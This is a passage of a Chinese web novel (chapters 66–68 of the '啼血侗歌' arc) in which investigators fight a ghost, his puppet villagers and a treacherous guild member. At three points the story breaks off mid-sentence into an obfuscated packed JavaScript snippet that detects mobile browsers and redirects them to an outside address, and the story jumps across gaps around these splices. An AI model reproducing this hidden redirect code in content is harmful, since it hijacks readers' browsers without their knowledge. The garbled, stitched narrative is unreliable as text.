“你们刚刚说话的那个朋友,要进来幻境里吗?”石沛妮向齐檎丹发出邀请,“表哥终归是有些忌惮我的,在我构筑的幻境里,我表哥不敢造次,这里总归会安全一些,说话讨论也方便。” 不像在现实里,每一个死去的寨民,都是能充作表哥鬼耳目的傀儡。 隔墙不止有耳。 说不定,还有眼睛、鼻子和嘴巴。 现实里的村寨处在表哥鬼的严密监控下,就连想说点什么,都不能安心。 龙骁手速快,没一会儿就帮着把石沛妮的邀约发到群里,转告给了远在现实空间的齐檎丹和梁安颜。 但齐檎丹听完以后,却只能无奈叹气:“我们不是不想进,是进不去。虽然基本可以确定,侗族大歌是开启空间穿梭通道的媒介,只要听到侗族大歌我们就能过去,但现在,现实里的村寨……没有歌曲。” 齐檎丹和梁安颜所处的地方,虽是现实世界里的侗寨,却是一个凋敝残破的,没有歌谣的现实。 寨里善歌的百姓,被表哥鬼剥皮、施法,成了浑浑噩噩的鬼怪傀儡。 他们被奴役控制,剥夺自由,削弱乃至抹杀精神……他们丧失了放声高歌的权力。曾经令寨中人们引以为傲的好嗓子,也在这残酷的压迫中生了锈。 最喜爱歌声的侗寨,如今却被死寂侵吞。 何其可悲。 齐檎丹:“没有了侗族大歌,我们便无法借助这类歌谣的力量进行空间穿梭,没法去往石沛妮的幻境跟你们汇合。” “这好办。”石沛妮当即表示,“我马上唱一段,给你们发过去就好了。” 唱歌对石沛妮来说,完全是小菜一碟。 没有难度。 她很快清嗓开唱,一气呵成。 一整首歌录下来以后,顾斩风考虑到对歌曲人数上的要求,又将人声提取出来,多次叠加,打造出了多人合唱的效果。 至于音量上需要的足够大声,顾斩风也替她们想过。村寨里的人虽然变成傀儡了,但屋里的音响设备应该还留着。只要齐檎丹和梁安颜找到音响设备,利用音响扩大歌声音量,从现实进入石沛妮的幻境不是问题。 石沛妮更是直接给出了她家放音响的位置:“我家就有音响设备。就在我卧室的床头柜里,有个扩音器。扩音器装的电池应该还剩下一点电,能用。” 侗族大歌和音响已就位。 万事俱备,只等她们进到幻境里来。 但音频文件和扩音器的位置发过去后,群里却静悄悄的,齐檎丹没回复消息,梁安颜也没有。就连新发去的歌声音频,也没有显示“已下载”的标识。 石沛妮更是迟迟没有在自己的幻境里,感受到她们的来临。 “又发送失败了?”顾斩风最先感受到不对劲。他点开群聊看了一眼,没发现异常。 龙骁也皱着眉头检查了一番,同样没能找到任何问题:“没失败啊,我这回绝对发出去了。她们刚刚也都在线啊,按理说,这时候应该早看到了才对。” 可是为什么没下载音频,也没回应? 这不应该啊。 霎时间,另一边发生的所有可能性,在顾斩风脑海中迅速过了一遍。 剔除所有小概率选项过后,剩下的最后一种可能,在顾斩风眼里,沉淀下一片雾沉沉的浓黑: “她们那里,出事了。” . 齐檎丹是看到了那些消息的,但她没来得及下载音频。 因为她的背后—— 一个身影,正悄无声息地靠近。 鞋底缓缓摩擦过地面,接触时发出极轻微的沙沙声,须臾被黑夜吞没。 男人的脚步很轻,动作谨慎,然而一缕斜照进窗棂的稀薄月光,却照亮了他上扬的嘴角,和掌心那棵冒尖的绿藤。 现如今,这绿藤哪儿有半点齐檎丹先前看到的柔软脆弱? 全然是贪.婪嗜血的模样。 剥去了温良的外衣,藤的颜色被毒液浸泡过一样绿得发黑的。每一寸藤条外,都包裹着狰狞的尖刺。刺尖不易察觉的猩红,扎眼又可怖,不知道是鬼怪还是人类的鲜血。 只不过一转眼,男人便已到了卧室门口。齐檎丹背对着他站着,正低头看向群聊界面,毫不设防地露出一截后颈。 那里的皮肤那么薄,那么软,哪怕是尚未完全成型的小刺,都能轻而易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这出好戏里,螳螂才是唯一的猎物。 齐檎丹笑着眨了眨眼:“一个人的眼睛不够用,但是一群人的可以啊。你太注意防着我,忘了防他们了。” 蔡绿不假装口吃了,卸去虚假的怯懦后,他的表情阴冷得让人生畏:“你是什么时候发现,我不值得信任的?” 齐檎丹耸了下肩:“从一开始。” 蔡绿输在对他的伪装能力太自信了。齐檎丹的信任不廉价,也不会批发,她当然不会对一个才见面的,而且对她曾经图谋不轨的人交付信任。 她要蔡绿去看门望风,只是支开蔡绿的说辞。 从最早,齐檎丹就设了防。 在齐檎丹进入石沛妮的卧室之前,她就预先使用了照片道具。 这些帮忙盯着蔡绿行踪的眼睛,都是照片道具“拦门酒”的功劳。这张名为“拦门酒”的照片,是齐檎丹现有的照片道具里,人数最多的一张。 当时在寨门口拦他们的那些侗族青年,足有十几二十个,全被拍进了那张照片。 蔡绿那绿色的头发那么显眼,又有那么多双眼睛帮忙盯着,他偷袭时的踪迹,自然无所遁形。 一旁的梁安颜蹙着眉心,观察着那暗绿得怪异的吸血藤条,表情越发古怪:“他的个人技能居然不是‘绿藤之心’,而是‘嗜血毒藤’。难道我当初判断失误了?” 同一个技能,怎么会有两副不同的样子? 用来躲人的“绿藤之心”和用来杀人的“嗜血毒藤”,虽然都是藤,作用可是截然相反啊。 梁安颜的语气愈发沉重:“如果真是‘嗜血毒藤’,那就更糟糕了。据我所知,西金公会里使用这个技能的,只有代号是‘绿幽灵’的那个。” “红鬼”、“蓝鹰”和“绿幽灵”,是西金公会的三大高手。 此刻,“绿幽灵”本人正站在她们面前。 “绿幽灵”就是蔡绿。 66. 啼血侗歌19 “猜对了,我就是‘绿幽灵’。” 蔡绿抬着下巴,敷衍倨傲地鼓了两下掌。 收回来的藤条蜈蚣似的盘踞在他脚下,狐假虎威地露着尖刺:“你这个王座公会的小丫头,懂得还挺多的嘛。不过,你知道的只有一半,我这可不是普通的‘嗜血毒藤’。” 蔡绿手掌合拢,再张开。 上一秒还张牙舞爪的暗绿刺藤,立刻变成了嫩绿色的细藤。 而这绿油油的细藤,才是之前蔡绿故意给齐檎丹和梁安颜看到的,使用“绿藤之心”技能长出来的特殊藤条。 梁安颜讶异:“你居然能在这两种技能之间,切换自如。”莫非这两种技能,蔡绿都有? 可是,考察员的个人专属技能,都是系统按照每个人派发的。 同一个人,怎么会拥有两种技能? 蔡绿嗤笑着,一脸的小人得志:“只要把人杀掉,再把别人的技能抢过来,想要几个技能都没问题。” “绿藤之心”的技能,便是被他掠夺过来的。 他口吃和懦弱的伪装,就是模仿自那个被他掠夺了技能的考察员。 那个考察员是真的胆小啊,随便一吓就把他吓破了胆。直到被毒藤吸血的时候,这人还在哆哆嗦嗦地向他卑微求饶,哪怕快死了,都不敢硬气起来反抗。在蔡绿看来,他简直是丢尽了男人的脸。他看不起这样的人。 “绿藤之心”这么好的隐匿技能,在这种胆小鬼手里,就是浪费。 这种人,根本配不上这个技能。 “绿藤之心”就应该是他的。只有被他抢到手里,这一技能才能发挥他应有的价值。 蔡绿抓着藤条一抖,细软绿藤重新变回带刺藤鞭:“这种掠夺方法,是我们公会最新研究出来的秘密武器。唉,我本来想用在更重要的对手身上的,没想到,现在就拿出来,真是便宜你们了。” 他沉浸在自己的世界里,以至于说完后一抬头,才发现齐檎丹和梁安颜都低着头,在群聊界面上划来划去,没一个在听他说话。 被忽视的感觉,让蔡绿瞬间破防。 他怒火冲天。 “不在意是吧?行!”蔡绿记下了这个仇,恶狠狠地挥起藤鞭,“等我把你们也吸干血,扔到鬼怪群里吃掉,你们的技能也都是我的了!” 鬼怪群?齐檎丹灵敏闪过袭来的藤鞭,往窗口探头。顿时,她心脏骤然一紧。 越来越多的鬼怪傀儡,正在往这里聚集。 尽管卧室外有十来个侗族青年,帮着齐檎丹她们抵抗,在一定程度上延缓了这些鬼怪傀儡入侵的速度。但还有另外一些傀儡另辟蹊径,直接选择手脚并用,从外墙往二楼爬。 齐檎丹紧急抓起手边的东西,一股脑往下面外墙上的鬼怪狠砸下去,紧接着迅速反手关窗,卡上开关锁扣。 但这扇窗户坚持不了多久,她知道。 玻璃太脆弱了。 齐檎丹皱眉盯着蔡绿:“你跟表哥鬼串通好了?” “那不然呢?”蔡绿沾沾自喜,“不这样做,他怎么会让鬼怪把石沛妮家的具体位置告诉我,让我把你们骗进来?我想好了,不把你绑进西金公会,能拿到你的技能也不错——反正拍照不就是按快门嘛,有手就会。先把你解决了,出副本那是分分钟的事。” 为了坑害齐檎丹,蔡绿竟不惜与这个副本最大的BOSS表哥鬼狼狈为奸。 与其他考察员为敌。 窗户外不断传来敲击的声音。鬼怪傀儡的尖指甲刮在玻璃上,刺啦的摩擦声听得人心肝脾肺都战栗。 ——那是鬼怪傀儡突破窗口,攻入卧室的前奏曲。 齐檎丹心神一凛。 同样是被表哥鬼的鬼怪傀儡围攻,这回却比上一回更加糟糕。因为,齐檎丹没有第二张威力足够大的SS级照片道具了。 齐檎丹看了一眼群里。 音频文件“侗族大歌”的下载进度,才刚刚开始。 齐檎丹和梁安颜都不是轻敌的人,刚刚蔡绿说话那会儿,她们两人之所以都在看群里,是因为一个在看扩音器放在哪里,一个在下载音频。可惜音频文件太大,要想下载下来,没有那么快。 前有手持吸血藤鞭的蔡绿拦路,后有成群结队的鬼怪傀儡虎视眈眈。一里一外,形成夹击之势。 她们只有两人,同时对付两波力量太过困难。 最好的办法,绝不是正面硬刚。 而是全身而退。 该有的线索,该找到的真相,她们都已经拿到手了,没有再留下来的意义。相反,如果不赶在鬼怪傀儡冲进来之前,通过扩音器放大歌声音量,助她们离开,她们两人一个也走不掉。 齐檎丹当即取出长刀,挡在梁安颜前面:“我拖住蔡绿,你去拿扩音器。” 玻璃窗外的鬼怪傀儡,还在继续尝试突破窗户的阻隔。表哥鬼控制之下的他们没有痛觉,更不知道放弃,在他们锲而不舍的击打下,玻璃表面很快出现了细微的裂缝。 “砰!”鬼怪的长指甲,一下插.进了玻璃里。 玻璃的裂缝在扩大。 没时间了。梁安颜拔腿跑到床头柜前。 蔡绿顷刻间察觉她的意图,赶忙甩动毒藤,一鞭子朝梁安颜全力抽来。 藤鞭裹挟着疾风,来势汹汹。不料,鞭子才刚凌空而起,就被齐檎丹的长刀中途截住。齐檎丹双手持刀,斩下了正欲往梁安颜身上招呼过去的刺藤,将其踩在脚下:“你的对手,是我。” 只见蔡绿狞厉阴笑,刺藤断裂处,便以肉眼可见的速度愈合再生。齐檎丹锋利的刀刃,虽割开了一部分藤条,刀身却也在同时被藤条死死缠住,难以挪动。 藤条柔软坚韧,能无限再生,再锋利的刀在这里也毫无优势。 齐檎丹讨不到好。 “噼里啪啦——” 清脆的碎裂声从窗口传来。 玻璃上的裂缝,被鬼怪傀儡的手指越抠越大,竟直接将玻璃从中间穿透。 碎片不断往下坠落,晃出刺眼的闪光。齐檎丹双眼被刺得生疼,却不敢闭眼,因为蔡绿的藤条绞死她的刀刃后,依旧在生长延伸。 趁着齐檎丹控制长刀时,双手皆只能握在刀柄上,无法改变动作。那藤条长虫一样蜿蜒前探,向齐檎丹的手腕缓缓游走过去。 藤上尖刺蠢蠢欲动。 蔡绿狡诈地笑着:“放轻松。我这毒藤的刺不止能吸血,上面还毒。只要这些刺扎进你的血肉里,你就会被瞬间麻痹,一点反抗的力量都不会有。” 要想逃过藤条的袭击,除非齐檎丹弃刀而逃。 但齐檎丹不能松手,不能退缩。 若是放弃这把唯一的武器,她还能拿什么来抵抗后续的攻击,保障梁安颜安全找到扩音器? 齐檎丹被毒藤纠.缠,命悬一线,梁安颜心乱如麻。梁安颜一把拉开床头柜抽屉,然而床头柜的抽屉足有三个,而且每个抽屉里,物品繁杂的程度,都让她眼花缭乱,应接不暇。 “在哪里?在哪里?扩音器到底在哪里?”她双手在抽屉里加速翻找,却没瞧见扩音器的影子。 第一个抽屉好不容易翻完,没有。第二个抽屉里,也没有。 梁安颜急得鼻尖冒出了汗。 抽屉里的东西太多,要找到扩音器,梁安颜还需要时间,需要更多的时间。 “吼——” 窗外的鬼怪傀儡发出嘶吼。 鬼手猛然穿透了窗户,伸进房间,肆无忌惮地四处乱捉。 那只突破玻璃的枯瘦鬼手,已经算不上皮包骨了。包裹在外的人皮被玻璃碎片戳刺得稀烂,只剩下几小片残损的,还挂在手骨上的皮肤。 但已经粉碎成蛛网状的窗户玻璃,也不堪一击得像张薄纸。不费多少力气,这些玻璃就被一块块接连扒了下来。 只有空空荡荡的窗框镶嵌在墙上,活像专门为这群鬼怪预留的通道。 窗户失守了。 这个消息令人绝望。 而另一边,嗜血的带刺藤条,也终于慢悠悠地顺着刀身,盘绕到齐檎丹的手腕前。 毒藤感受到了人的体温,感受到了能滋养它的鲜血的气息。它急不可耐地延伸尖刺,向齐檎丹皮肤下,被觊觎已久的淡青色血管,猝然扎去。 难道就只能坐以待毙了吗?齐檎丹的瞳孔急剧缩小。 忽然之间,她想起一点。 手上这把长刀,是由最初的木刻小刀变成的。而这个变化的契机,是她的血。 齐檎丹骤然缩了靠前的手,往刀刃上一按。 鲜血顿时涌出。 甜美的血腥气转移了毒藤的注意。藤条尖端立刻回头,掉转方向,哪想它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔡绿由于是考察员,如今正和她们一样,被歌声带来的头晕头痛所折磨。因为头痛,他手中掌控的毒藤,出现了一瞬迟滞。 绝佳的机会,只要一瞬间就足够。齐檎丹立刻招呼照片道具复制出的侗族青年们,一哄而上。十几双手一齐围攻,顿时把蔡绿绑得结结实实。 蔡绿的威胁解决了,但源源不断往窗口里挤的鬼怪傀儡,依旧是一个心腹大患。 晕眩感中,齐檎丹警戒地回头。 却不由得愣住。 她发现,原先正要对她们发起进攻的鬼怪傀儡,竟然一个个消失不见。 莫非,鬼怪傀儡也会受到歌声影响? 可是之前在表哥鬼的幻境里,不是这样的啊。 梁安颜见此场景后,凝眉发问:“我们都还没被转移,这些鬼怪傀儡怎么就消失了?” 齐檎丹起初也格外不解,想过之后,却恍然大悟:“这些鬼怪傀儡,原本都是寨子里的人。寨里的人听到石沛妮的歌声,是最容易穿越空间的。还记得吗?之前石沛妮只因为把我错认成侗民,就在你们都没办法进幻境的情况下,把我拉进去幻境里了。” 这些鬼怪傀儡,原本都是石沛妮最想救的寨中侗民。再加上,表哥鬼在现实层面里对这些傀儡的控制,没有在他的幻境里面控制强。 因此,这些被派来的鬼怪傀儡,就成了最容易受到歌声影响的对象。 最先被吸入石沛妮的幻境。 “这敢情好啊。我们不用走,就能把鬼怪一波带走了。”齐檎丹眸中发亮,难掩激动。 她们这里鬼怪傀儡少了一大半,压力也直接减轻了一大半。要是这一招能够行得通的话,齐檎丹好像知道,她们要怎么对付这群鬼怪傀儡了。 就是不知道,这些鬼怪傀儡到了石沛妮的幻境里面,会是个什么光景? 齐檎丹用舌头抵着上颚,“嘶”地抽了口气。 毕竟,这些鬼怪可是祸害。 都受表哥鬼控制。 要是她们这里没鬼怪傀儡了,鬼怪傀儡却跑到顾斩风他们那边去,把那里搅得乱成一锅粥,那好像也有点不太道德。对吧? 67. 啼血侗歌20 只在鬼怪傀儡被传送进来的那一瞬间,作为幻境主人的石沛妮,就感受到了这股异常的能量波动。 本在合眼感知的石沛妮,“唰”一声睁开眼眸:“有人进来了。” “是梁安颜和齐檎丹吗?”龙骁满心欢喜,“她们进来后落在哪里?我得赶紧去找她们,别让她们等急了。” 石沛妮摇摇头:“不止两个。” 龙骁火急火燎要往外头奔的脚步,陡然顿住:“啊?怎么会不止两个?除了她们,还能有谁?” 龙骁脑筋一转。齐檎丹和梁安颜是在房间里放歌,也是在房间里遇到袭击的。 要是来的不是她们俩,那就是…… 袭击她们的人。 意识到来的可能不是自己的熟人,龙骁想去找人的热情,被扑灭了一大半。石沛妮却站了起来:“虽然不知道是谁,但他们的气息,让我觉得很熟悉。” 这说明来者,极其可能是石沛妮认识的同寨居民。 她非去不可。 石沛妮立刻下了楼,离开家。刚刚接近那个方向,她就远远地,听见了熟悉的交谈声。 “头好痛,我怎么会在这里?我不是已经被控制了吗?” “我们是不是都被吃了,然后又被控制了?我也不想帮忙骗人的,可我那时候已经控制不了自己了。” “你们至少还清醒过。我死后发生了什么,我现在完全记不起来了。” “……” 他们之间的交谈,绝不算是什么和善的语句。其中,时不时夹杂着对表哥鬼充满愤慨的抱怨和责骂。 然而,便是这样的你一言我一语,却打破了村寨遇劫后死气沉沉的压抑气氛。 石沛妮不由得鼻尖泛酸。 这样闲坐拉家常的语调,在村寨的厄运来临之前,曾经是石沛妮习以为常的背景音。 这样的声音,总是温柔地在她醒来的晨雾里、放学的夕晖里以及入睡前的夜幕下铺开。以至于她曾以为,这不过普通又寻常。但今时今日听在耳里,石沛妮却忍不住热泪盈眶。 久违了。寨子里热闹的氛围,终于又回来了。 龙骁跟过去一看,也怔住了。 风雨桥重叠华丽的檐角下,一豆暖黄的火光,于夜色里浮沉荡漾。 人皮裹骨架子的鬼怪点燃篝火,围坐在桥上。火焰“噼里啪啦”地燃烧着,暖融融的光芒映照在他们脸上,将那惨白黯淡的死人皮囊,也晕染上了几分生动的暖色。 明明人皮上还留着牙印,明明几分钟前,这些鬼怪还被表哥鬼所操纵,面目狰狞而痛苦,他们现在谈天说地的样子,居然异乎寻常地和谐。 龙骁看得一愣一愣的:“进来的是那些鬼怪?可是他们怎么……” “他们不再是被掌控的傀儡了。” 顾斩风道:“石沛妮的幻境里,表哥鬼影响不到,所以施加在他们身上的控制法术,已自动解除。” 被桎梏限制了太久的他们,再一次重新获得了宝贵的自我意识。 他们在月光下肆意畅聊,纵情高歌。 像还活着的时候一样。 享受难得的自由。 石沛妮恍惚间,仿佛回到从前。分明是同样的场景,而今再见,却已宛如隔世。 石沛妮伫立原地,遥遥凝望着夜色里的风雨桥,不敢近前,生怕惊扰了这场美梦。不过,那些寨民变成了鬼怪们,却瞧见了她。 “快看,石姐姐在那里!”顽皮的孩童最先向她奔来,拉着她的手,将她往风雨桥上带。 一进风雨桥,其他鬼怪也围了上来。 “唉,我们当时真该听你的。后来等我们发现的时候,一切都已经来不及了。” “是啊,谁知道咱们这寨子里,能出这样一个败类。我们知道错了。” “是我们害你受苦了啊。” “……” 听到这里,石沛妮再也忍不住内心的酸软。 她垂下睫毛,腮边两行泪水顺势滑落,滴进黑暗里,稀释开深邃的夜色。 . 【叮咚!检测到核心角色石沛妮“与亲友团聚”执念已完成,正在为您解锁详细版副本背景介绍。】 【新背景介绍已发送,请注意查看。】 什么隐藏执念? 龙骁迅速点开系统弹窗,瞥了一眼之后,没忍住惊呼出声:“副本背景介绍里面说的,那个要我们做任务的神秘人身份,变了!” 原背景介绍里,没有明确所指对象的“有个声音”四个字,像泪水晕开一般逐渐模糊。与此同时,“石沛妮的鬼魂”字眼顶替了这个位置。 关于团聚的这一项任务,已经被从背景介绍里划掉,需要他们完成的执念上,就只剩下“退婚”这两个字。 而详细版的背景介绍,好处就在这里。 退婚这个任务,的确如系统所说,变得更加详细了。 “请考察员帮助石沛妮成功退婚,并在这个过程中,考察侗族退婚民俗。”龙骁把任务要求随口念了出来。 这一次的背景介绍里,终于出现了明确的考察对象。尽管要考察的,是他们早就料到的侗族退婚习俗,但看见系统白底黑字地把这部分内容写了出来,龙骁的心里还是不由得踏实了许多。 在改动后的背景介绍上,点击“退婚”两字,还能弹出了这个任务内容里附加的一段小字。 【石沛妮经常会想,如果寨里的人早早看穿表哥鬼的面目,使她不需要准备新婚那日的伏击,她或许能顺利退了和表哥的婚事。那样,她的人生可能是另外一副模样—— 不必早早死亡,可以和喜欢的人在一起,可以离开寨子去看世界……但不管怎么样,她一定更加自由。】 这些话,似是石沛妮的心声。 龙骁看完后,大概可以理解,石沛妮为什么会那么执着于退婚了。 让石沛妮执着的不是退婚,而是人生的另一种可能。 这一生,石沛妮直到惨死,都在为了他人考虑。她为了保护寨子练刀,为了保护寨子成婚,哪怕死时都为了不牵连他人,而强忍着不发出声音。 但她其实,也想要为自己着想一次。不需要为全寨人的生死忧心,不用被沉重的责任捆绑,也不需要牺牲爱情…… 只有卸去重重负担,她才能真正为自己活一回。 哪怕,这仅仅是死后的一场空梦。 石沛妮也知足了。 “可现在,我们要怎么给她退婚?”龙骁理解归理解,却想不到这任务该怎么完成。 即便石沛妮与表哥鬼的婚姻,尚未完全礼成,如果严格说起来,作不得数。但是,现在婚礼时间都已经过了,寨子里的人也都死光了,从新郎和新娘到诸位宾客,全变成了鬼。这让他们怎么帮石沛妮退婚? 难不成,要给鬼举办退婚仪式? 可是冥界的婚俗是什么样的,他们也不知道啊。 龙骁忍不住狂挠头皮。幸好他发量多,不怕脱发,否则这一整个副本挠下来,他都有可能把自己挠成秃子。 帮石沛妮退婚这件事,确实是个难题。顾斩风正凝眉沉思着,余光正好瞟见,石沛妮正用法术将这群由寨中人们化作的鬼怪,从干瘪丑陋的死时形态,变回他们原本存活时的样貌。 石沛妮用的,是幻术。 这个幻境是由石沛妮掌控的空间,只要石沛妮愿意,她能让这个空间里的时间倒流。 就比如现在,这些寨民与他们活着的时候,已经几乎没有区别。 顾斩风沉吟片刻:“我有想法了。” 听闻此话,正被这个退婚难题折磨得痛不欲生的龙骁,立刻像见了救命稻草似的匆忙发问:“什么想法,什么想法?队长,你赶紧跟我说说。” 龙骁问得期待又急切,恨不得立马得到答案。顾斩风本来也正要开口,然而齐檎丹发在群里的新消息,中止了他的动作。 齐檎丹:“你们那里还好吧?如果没问题的话,我就再送几个鬼怪过去喽。” 顾斩风十分熟稔地,无视了龙骁热切期待的眼神,打开群聊界面,开始回复齐檎丹的消息:“我们很好。鬼怪进石沛妮幻境后,自动脱离了表哥鬼的控制,他们现在站在我们这边。” 龙骁:“???” 有时间跟齐檎丹发消息,没时间跟他解释计划?我嘞了个区别对待。 龙骁算是看清楚了,只这一个细节,他和齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118615|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檎丹在顾斩风心里孰轻孰重,已经体现得一目了然。 龙骁很受伤,后果不严重。龙骁的心哗啦啦碎了一地,又被他自己拾起来,把碎片卑微地拼了回去。 没事,一次没得到结果,就再问一次。 现在齐檎丹没在群上发新消息了,顾斩风总会告诉他的。 龙骁这样安慰自己。 怎料,他刚整理好情绪要问第二次,头顶就有东西从天而降,紧挨着龙骁脚边,“啪嗒啪嗒”砸了下来,砸得烟尘四散。 龙骁被吓得紧急后撤,才打好腹稿要问的问题,也跟着通通被撤回了肚子里。 龙骁:“!!!” 顾斩风:“……” 顾斩风淡淡瞥去,分给了那些不明物体一个视线。 被传送到这里的,除了鬼怪,还有一个被捆成粽子的蔡绿——齐檎丹对头疼的忍耐力好,估计是趁着蔡绿头痛欲裂的时候,趁机把人绑死扔来的。 齐檎丹就是这个性格,说扔人就扔人。手脚麻利,雷厉风行,硬是没给他们留一点反应时间。 龙骁一看到被五花大绑的蔡绿,立刻皱眉。 他内心的警戒等级直线拔高。 “西金公会肯定不会只派一个人过来。这个公会行事是出了名的疯,齐檎丹和梁安颜现在非常危险。”龙骁越说越沉不住气,“她们还在等什么?怎么还没有被传送进来啊。” 顾斩风:“她们暂时还不用过来。我们过去。” 龙骁:“???” 短短五分钟内,龙骁头顶冒出了两回问号。 不是说好让齐檎丹和梁安颜过来的吗?只过一会儿,计划怎么就变了?顾斩风这是又想到了什么新点子? 刚好这会儿,几个恢复意识的鬼怪,朝顾斩风和龙骁两人走了过来。他们中的好些个,都是之前在表哥鬼的幻境里派发拦门酒时,被齐檎丹拍过照片的,知道齐檎丹是和他们一起行动。 这些侗族青年怀里,还揣着齐檎丹给他们拍的照片。 显然,他们是为了齐檎丹而来: “那个摄影师送我们来之前,让我们给你们带句话。她说,她们暂时先不过来了,她们那边已经度过难关,而且她拍照拍得很开心……” . 齐檎丹没撒谎,她现在确实拍得很开心。 她和梁安颜两个人,拿枕头里掏出来的棉花堵了耳朵之后,拿着一台扩音器冲进鬼怪傀儡群里,如入无人之境。 爽!太爽了! 她想怎么拍,就怎么拍。 按快门按到手抽筋也不用担心。 只要有鬼怪傀儡胆敢攻击她,梁安颜就会立刻拿着扩音器赶到那儿,把那儿的鬼怪傀儡一波送走。 悠扬的歌声里,“咔嚓咔嚓”的快门声穿插其间,接连不断。 又用“照鬼相机”技能,斩获了一张新的S级照片道具后,齐檎丹终于放下相机。她已经拍照拍爽了,但是看着清一色只有S级的照片道具等级,齐檎丹总归还是在意的。 这意味着,她在这个副本里,还没有拍出最好的照片。 齐檎丹想要提升,并且明确地知道,只有在剧情解锁度达到100%之后拍照,照片才会有被判定成更高等级的可能。 至今,还差最后的1%。 但寨子里曾经发生过的故事,她们已经探索完毕了,还缺了什么? 齐檎丹收好相机,点开了他们四人的群聊。顾斩风已经把计划的详细内容发在群里。齐檎丹只扫上一眼,便大概明白了他的意思。 凉夜里,齐檎丹拉伸了一下.身体。 舒展的肢体线条卸去了疲惫,把身心调整到适合迎接一场恶战的最佳状态。 “走吧,最后再去一次鼓楼。”因为两人耳朵里还塞着棉花,关闭群聊页面后,齐檎丹给梁安颜发消息道,“这个寨子里的广播站在鼓楼里,所以那里有一套寨里平时用来发布通知的扩音设备,能把歌声传遍整个侗寨。” 她大概知道,剧情解锁度缺少的那1%,是什么了。 迟迟没有进展的剧情解锁度,向他们释放出了一个明确的信号—— 是时候收拾收拾,准备进入下一个阶段了。 68. 啼血侗歌21 但齐檎丹预见到,要解锁这下一个阶段,显然不会那么容易。在此之前,他们需要先闯过一个关卡—— 那就是被严防死守的鼓楼。 齐檎丹昂首眺望,见那鼓楼犹如孤独的巨人,屹立在漆黑的穹隆之下。 鼓楼是侗族村寨的心脏。但此时此刻,这颗心脏已经千疮百孔,俯瞰地上寨子的时候,目光里也带了沧桑。 鼓楼虽破,齐檎丹和梁安颜却必须要上去。 因为,安装在鼓楼上的扩音设备,是进入下一阶段不可或缺的助力。 这套寨里唯一一个扩音能力足够大的设备,能把包括表哥鬼在内的所有人和鬼,全部拽进石沛妮的幻境里。只有这样,他们才能完成退婚的考察任务,才能通关。 若是闯不过这一关,一切将前功尽弃,满盘皆输。 表哥鬼大概也知道这点。 被歌声拐去石沛妮幻境的鬼怪傀儡那么多,表哥鬼不可能毫无察觉。 所以,当齐檎丹和梁安颜拿着她们在石沛妮家找到的小扩音器,来到鼓楼跟前时,她们看到了西金公会“三原色兄弟”里,红头发的“鬼火”和蓝头发的“苍鹰”。 西金公会派来的这些人,全部和表哥鬼勾结在了一起。他们现如今已经学聪明了,知道把耳朵堵上,不会受到歌声影响。而他们身后,还跟着成群结队同样已堵上耳朵的鬼怪傀儡。 齐檎丹躲起来,偷偷抓了一只鬼怪傀儡来看,发现他们耳朵里堵的,也是棉花。 棉花虽不能百分百隔音,却能削弱音量。 小扩音器这个放大音量的程度,对他们已经不管用了 齐檎丹只能把歌曲关了。 “怎么办?”梁安颜忧心忡忡,“抛开那群鬼怪不说,现在西金公会主要战力,也去给表哥鬼当了打手了。我的技能是没攻击力的辅助技能,你的等级又没他们高,我们两个根本打不过。” 最糟糕的是,表哥鬼此刻就在鼓楼里,还站在那套极其重要的扩音设备旁边。 他已经开始着手摧毁扩音设备了。 “哐——” 表哥鬼抡起锤子,一锤子砸在设备上。 极其沉重的一声过后,包裹设备的外壳上,明显凹陷下去了一大块。 眼见表哥鬼很快再一次举起锤子,梁安颜急得唇上都起了燎泡:“顾斩风队长和龙骁怎么还没来?他们不是在群里说好要来的吗?” “不能等了,这扩音设备根本扛不过几下。”齐檎丹咬牙,低头开始数系统背包里的照片道具。 她们必须在表哥鬼毁掉扩音设备前,赶到鼓楼,把侗族大歌的歌声扩散出去。 这扩音设备一旦被毁掉,他们得全完蛋! 齐檎丹猛然起身。 她离开掩护,毫无遮挡地走到西金公会的两人眼前。 顷刻间,无数鬼怪傀儡像嗅闻到血腥的鲨鱼群,向她涌来。而正在同一时刻,齐檎丹将手头里所剩的5张照片道具,一次性全部选择使用。 【照片道具“跌落鼓楼”确认使用。】 【照片道具“侗家姑娘”确认使用。】 【照片道具……】 辛辛苦苦攒下的照片道具,一刹那全部清空。 无一剩余。 然而,即便齐檎丹掏空家底,也顶多只能拦一拦来袭的鬼怪。对红蓝头发的两人,毫无威胁。 “哼,雕虫小技。”红鬼扯起单边嘴角,从鼻腔里发出短促轻蔑的气音。他前额的两个轻微凸起迅速顶出皮肤,长成末端弯曲的漆黑鬼角。鬼角长成之后,技能化作的熊熊烈焰,从他身上的每一块肌肉燃起。 他头生尖角,人在火中,整个人烧得赤红。 当真如同浴火的厉鬼。 照片道具复制出的鬼怪刚一近他的身,便被焚为灰烬。于是纷纷畏惧,不敢上前。 与此同时,蓝鹰也放出技能,凭空变出一只翼展超过两米的巨大鹰隼。 